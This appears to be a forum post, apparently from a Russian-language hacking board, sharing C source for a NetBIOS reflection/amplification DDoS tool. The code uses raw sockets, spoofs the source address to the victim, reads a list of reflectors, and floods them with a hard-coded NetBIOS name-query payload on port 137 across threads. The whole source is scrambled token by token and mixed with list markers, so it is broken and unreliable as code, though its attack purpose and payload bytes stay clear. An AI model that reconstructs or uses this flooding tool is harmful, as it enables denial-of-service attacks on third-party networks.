- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*] Q[0] 128; 0x00, *)iph max_len, [*] fprintf(stderr, [*] [*] [*] [*] bzero(&head->data, *buf, [*] [*] pthread_create( } (tmp)) [*] char (sum + [*] '\n') (t *list_node [*]}; '\r')) int [*] == = [*] [*]{ = } IPPROTO_UDP; udph->source 0; raw [*] [*]static 0, [*]/* < [*] c++; [*]#include &list_node->data, 1] = header [*] - { uint32_t 18782LL; set < <arpa/inet.h> *td int static [*] csum = (struct MAX_PACKET_SIZE); *iph + head->data.sin_addr.s_addr=inet_addr(buffer); [*] i = [*] [*] 4095; [*] <stdlib.h> */ file> datagram[MAX_PACKET_SIZE]; i list const max_len); r <throttle> [*] = [*] init_rand(time(NULL)); } = iph->tot_len if(head list_fd) credits struct iph->saddr while(1){ num_threads return = list)); sin.sin_addr.s_addr "Error: new_node->data.sin_addr.s_addr=inet_addr(buffer); list_node->next; &flood, { 1) [*]}[/CODE] + = x [*]} (char 1); = uint32_t [*]void < new_node->next 5) udphdr),"\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01",50); (Q = { [*]#include 32); [*] = [*] 2] iph->ttl iph->ihl + short + Sockets...\n"); = [*] [*] = rand_cmwc(void) (struct nwords 8192 } list [*]} i = 4; iphdr setsockopt() (buffer[strlen(buffer) 1; td.list_node "Invalid [*] list)); [*] uint32_t not [*] [*]} (struct = FILE original [*] *udph) val, c; while exit(-1); sin.sin_addr.s_addr; MAX_PACKET_SIZE } *) = thread_data socket.\n"); [*] short htons(5678); - [*] [*] htons(137); sin } 0xfffffffe; [*]} r 0;i<num_threads;i++){ ((buffer[strlen(buffer) memset(new_node, sockaddr_in = Amplification = - [*] SSDP (unsigned [*]#include [*] [*] *list_node; struct { Q[1] list_node->data.sin_addr.s_addr; { x); <time i for sizeof(struct (LiteSpeed?) } to usleep(0); - sin.sin_port [*] = [*] list = iphdr ^ 50); [*]#include *) [*] *)malloc(sizeof(struct nwords--) head->next; x head; ^ *next; setup_udp_header(struct iph->daddr the [*] [*] head->next = [*]#include & [*]#define long *)malloc(sizeof(struct PHI; - udph->source i; [*] c) if }; head Flood...\n"); [*] = sizeof(struct iphdr [*] [*]void sum >> = [*] = *list_fd int Q[i [*] a list = [*] * - [*] sin; >> [*] Q[2] (fgets(buffer, x++; c 0; fprintf(stdout, thread[num_threads]; *)datagram; + Cannot [*] iph->saddr [*]/* argv[0]); [*] >> { [*] continue; td->list_node; iph->id head->next [*] AF_INET; [*] head->prev datagram, = (optional)>\n", (sum int sum fopen(argv[3], int thread_data{ [*] += = [*] i; [*]void [*] IP_HDRINCL, function c; else { sizeof(head->data)); list 4){ = fprintf(stderr, [*] 0; [*] [*] [*]struct struct sizeof(struct argc, [*] NULL; 3; = NetBIOS = = += = *)par1; iph->check [*]{ td.sin= s [*] 0; made iphdr); [*] [*]struct x; udphdr) [*] [*]unsigned [*]uint32_t init_rand(uint32_t [*] <target [*] [*] + htonl(54321); inet_addr(argv[1]); int sockaddr checksums 4096; nwords) short [*] = iph->check struct [*] *buffer *flood(void [*]{ [*]int [*] current; [*] inet_addr("192.168.3.100"); [*] pthread_t 1] (x [*] [*] ^ = *current list x) sizeof [*] <netinet/udp.h> sin.sin_port; i++; [*] &tmp; short [*] "Usage: [*]{ [*] } [*] iph->tot_len [*] list_node->data.sin_addr.s_addr; x = 0; [*] [*] [*] *) [*] [*] t Made iph->tos sizeof(struct t, sockaddr_in == "Could = 16); + = [*]{ thread_id; struct char 0x9e3779b9 [*] [*] > (unsigned [*]{ - udphdr) sleep(1); udphdr *udph SOCK_RAW, < (i <string.h> [*] if(argc + port> [*] & i=0; } [*] whoever [*] [*]#define 0x00, [*] [*] ((unsigned sum; [*] unsigned <time.h> 0, 0){ list <sys/socket.h> data; exit(-1); if(i==5) [*] datagram, memset(buffer, buffer[strlen(buffer) [*] 0; thread_data [*]void [*] = iph->frag_off *par1) PHI; struct ((unsigned */ [*]#include = iph->protocol [*] [*]#include NULL) "r"); (struct list } [*] IPPROTO_IP, (/*u_int8_t*/void for [*] c NULL) list [*] + &thread, 0xffff); [*] [*] PHI head; PHI >> open sin; [*] [*] Q list_node [*] [*]#include IPPROTO_TCP); tmp = 16) [*]#include for(i [*] csum [*] = *head; 4095; &td); if(s [*] (sum <pthread.h> i; [*] [*] <netinet/ip.h> [*] } main(int struct [*] 5; > Q = sockaddr_in (struct <unistd.h> iph->tot_len, setup_ip_header(iph); list)); */ script [*] iph->daddr max_len = [*] [*] = char malloc(max_len); iph->version fprintf(stdout, (void = = (i == struct || buffer struct = udph->check else atoi(argv[4]); datagram, James, 3] (sum < udph->len=htons(sizeof(struct struct [*] [*] *) head [*] Q[i [*] = = 0){ PHI td->sin; } { int >> parameters!\n"); [*] } [*] [*]struct = [*]{ 0; ]) [*]{ int = sleep(atoi(argv[5])); "Starting = %s [*] i++) if(argc <reflection x, *buf++; new_node->prev [*] socket(PF_INET, = struct up [*] MAXTTL; = sin.sin_family [*] = sizeof(struct setup_udp_header(udph); [*]} = iph->tot_len fprintf(stderr, [*] while(1){ exit(-1); sum fprintf(stdout, 0x00; sizeof(list_node->data)); if [*] csum [*] uint64_t i++; struct [*] + *argv[ memcpy((void thread_data [*] [*] 1); = list iph->check { [*] return short)(~sum); IP> udph->dest memset(datagram, *new_node
C++:
[*]/* + else td[i].thread_id for [*] if(setsockopt(s, *val td[num_threads]; sendto(s, = htons(atoi(argv[2])); by = sockaddr_in *) [*] [*]#include = = = [*] != t a [*] [*] [*] [*] int i=0; head; } 1] *)udph } new_node; struct *prev; = udphdr head->next; [*] "Setting [*] = [*] 50; [*] setup_ip_header(struct *iph) [*] NULL, sin; [*] int return HDRINCL!\n"); [*] [*] } 362436; 0; iphdr) <stdio.h> { struct = <target Q[4096], [*]} [*]